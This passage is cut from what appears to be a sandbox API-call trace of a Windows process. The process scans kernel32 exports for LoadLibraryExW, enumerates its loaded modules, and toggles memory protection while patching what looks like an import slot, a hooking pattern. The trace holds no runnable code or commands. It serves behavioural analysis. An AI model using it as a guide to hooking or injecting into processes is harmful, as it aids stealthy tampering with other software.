(lpString1="ApplicationRecoveryFinished", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AreFileApisANSI", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="AttachConsole", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="BackupRead", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="BackupSeek", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="BackupWrite", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="LoadLibraryExW") returned -1 [0073.520] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="Beep", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BuildCommDCBA", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="BuildCommDCBW", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="CallNamedPipeA", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="CallNamedPipeW", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="CancelIo", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="CancelIoEx", lpString2="LoadLibraryExW") returned -1 [0073.521] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="CheckElevation", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="ClearCommBreak", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="ClearCommError", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="CloseThreadpool", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0073.522] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CmdBatNotification", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CommConfigDialogA", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CommConfigDialogW", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CompareCalendarDates", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CompareFileTime", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CompareStringA", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CompareStringEx", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CompareStringW", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CopyContext", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CopyFileA", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CopyFileExA", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CopyFileExW", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CopyFileW", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CopyLZFile", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CreateActCtxA", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CreateActCtxW", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CreateDirectoryA", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="LoadLibraryExW") returned -1 [0073.523] lstrcmpA (lpString1="CreateDirectoryW", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateEventA", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateEventExA", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateEventExW", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateEventW", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateFiber", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateFiberEx", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateFileA", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateFileMappingA", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateFileMappingW", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateHardLinkA", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateHardLinkW", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateJobObjectA", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateJobObjectW", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateJobSet", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateMailslotA", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateMailslotW", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateMutexA", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateMutexExA", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateMutexExW", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateMutexW", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreatePipe", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateProcessA", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateProcessAsUserW", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateProcessInternalA", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateProcessInternalW", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateProcessW", lpString2="LoadLibraryExW") returned -1 [0073.524] lstrcmpA (lpString1="CreateRemoteThread", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateRemoteThreadEx", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateSemaphoreA", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateSemaphoreExA", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateSemaphoreExW", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateSemaphoreW", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateSymbolicLinkA", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateSymbolicLinkTransactedA", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateSymbolicLinkTransactedW", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateSymbolicLinkW", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateTapePartition", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateThread", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateThreadpool", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateThreadpoolCleanupGroup", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateThreadpoolIo", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateThreadpoolWait", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateThreadpoolWork", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateTimerQueue", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateToolhelp32Snapshot", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateUmsCompletionList", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateUmsThreadContext", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateWaitableTimerA", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateWaitableTimerExA", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateWaitableTimerExW", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CreateWaitableTimerW", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="CtrlRoutine", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="DeactivateActCtx", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="DebugActiveProcess", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="DebugActiveProcessStop", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="DebugBreak", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="DebugBreakProcess", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="DebugSetProcessKillOnExit", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="DecodePointer", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="DecodeSystemPointer", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="DefineDosDeviceA", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="DefineDosDeviceW", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0073.525] lstrcmpA (lpString1="DeleteAtom", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DeleteBoundaryDescriptor", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DeleteFiber", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DeleteFileA", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DeleteFileTransactedA", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DeleteFileTransactedW", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DeleteFileW", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DeleteProcThreadAttributeList", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DeleteTimerQueue", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DeleteTimerQueueEx", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DeleteTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DeleteUmsCompletionList", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DeleteUmsThreadContext", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DeleteVolumeMountPointA", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DeleteVolumeMountPointW", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DequeueUmsCompletionListItems", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DeviceIoControl", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DisableThreadProfiling", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DisassociateCurrentThreadFromCallback", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DisconnectNamedPipe", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DnsHostnameToComputerNameA", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DnsHostnameToComputerNameW", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DosDateTimeToFileTime", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DosPathToSessionPathA", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DosPathToSessionPathW", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DuplicateConsoleHandle", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="DuplicateHandle", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="EnableThreadProfiling", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="EncodePointer", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="EncodeSystemPointer", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="EndUpdateResourceA", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="EndUpdateResourceW", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="EnterUmsSchedulingMode", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="EnumCalendarInfoA", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="EnumCalendarInfoExA", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="EnumCalendarInfoExEx", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="EnumCalendarInfoExW", lpString2="LoadLibraryExW") returned -1 [0073.526] lstrcmpA (lpString1="EnumCalendarInfoW", lpString2="LoadLibraryExW") returned -1 [0073.527] VirtualProtect (in: lpAddress=0x770e0d68, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x23ec58 | out: lpflOldProtect=0x23ec58*=0x2) returned 1 [0073.527] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x18) returned 0x2030fb0 [0073.527] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x18) returned 0x242ff90 [0073.527] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x2030fb0 | out: hHeap=0x2030000) returned 1 [0073.527] HeapFree (in: hHeap=0x2030000, dwFlags=0x0, lpMem=0x242ff90 | out: hHeap=0x2030000) returned 1 [0073.527] VirtualProtect (in: lpAddress=0x770dbc2a, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x23ec50 | out: lpflOldProtect=0x23ec50*=0x20) returned 1 [0073.527] VirtualProtect (in: lpAddress=0x770dbc2a, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x23ec50 | out: lpflOldProtect=0x23ec50*=0x40) returned 1 [0073.528] VirtualProtect (in: lpAddress=0x770e0d68, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x23ec58 | out: lpflOldProtect=0x23ec58*=0x40) returned 1 [0073.528] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ebf0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ebf0, ReturnLength=0x0) returned 0x0 [0073.528] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x1000) returned 0x242ee30 [0073.528] EnumProcessModules (in: hProcess=0xffffffffffffffff, lphModule=0x242ee30, cb=0x1000, lpcbNeeded=0x23ecf8 | out: lphModule=0x242ee30, lpcbNeeded=0x23ecf8) returned 1 [0073.528] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x13f510000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x13f510000, AllocationBase=0x13f510000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.528] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.528] RtlAllocateHeap (HeapHandle=0x2030000, Flags=0x0, Size=0x60) returned 0x242c080 [0073.528] lstrcmpiA (lpString1="chrome_elf.dll", lpString2="KERNEL32.DLL") returned -1 [0073.528] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0073.528] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0073.528] lstrcmpiA (lpString1="GetThreadLocale", lpString2="LoadLibraryExW") returned -1 [0073.528] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="LoadLibraryExW") returned -1 [0073.528] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0073.529] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="LoadLibraryExW") returned -1 [0073.529] lstrcmpiA (lpString1="GetProcAddress", lpString2="LoadLibraryExW") returned -1 [0073.529] lstrcmpiA (lpString1="SetLastError", lpString2="LoadLibraryExW") returned 1 [0073.529] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0073.529] lstrcmpiA (lpString1="CreateEventW", lpString2="LoadLibraryExW") returned -1 [0073.529] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0073.529] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0073.529] lstrcmpiA (lpString1="GetProcessId", lpString2="LoadLibraryExW") returned -1 [0073.529] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0073.529] lstrcmpiA (lpString1="DuplicateHandle", lpString2="LoadLibraryExW") returned -1 [0073.529] lstrcmpiA (lpString1="SetProcessShutdownParameters", lpString2="LoadLibraryExW") returned 1 [0073.529] lstrcmpiA (lpString1="SetCurrentDirectoryW", lpString2="LoadLibraryExW") returned 1 [0073.529] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0073.529] VirtualProtect (in: lpAddress=0x13f5d3188, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x2) returned 1 [0073.529] VirtualProtect (in: lpAddress=0x13f5d3188, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x23ec40 | out: lpflOldProtect=0x23ec40*=0x40) returned 1 [0073.529] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77160000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x77160000, AllocationBase=0x77160000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.529] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.529] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77040000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x77040000, AllocationBase=0x77040000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.529] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x23ec40, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x23ec40, ReturnLength=0x0) returned 0x0 [0073.529] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd330000, lpBuffer=0x23ed10, dwLength=0x30 | out: lpBuffer=0x23ed10*(BaseAddress=0x7fefd330000, AllocationBase=0x7fefd330000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0073.529] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, 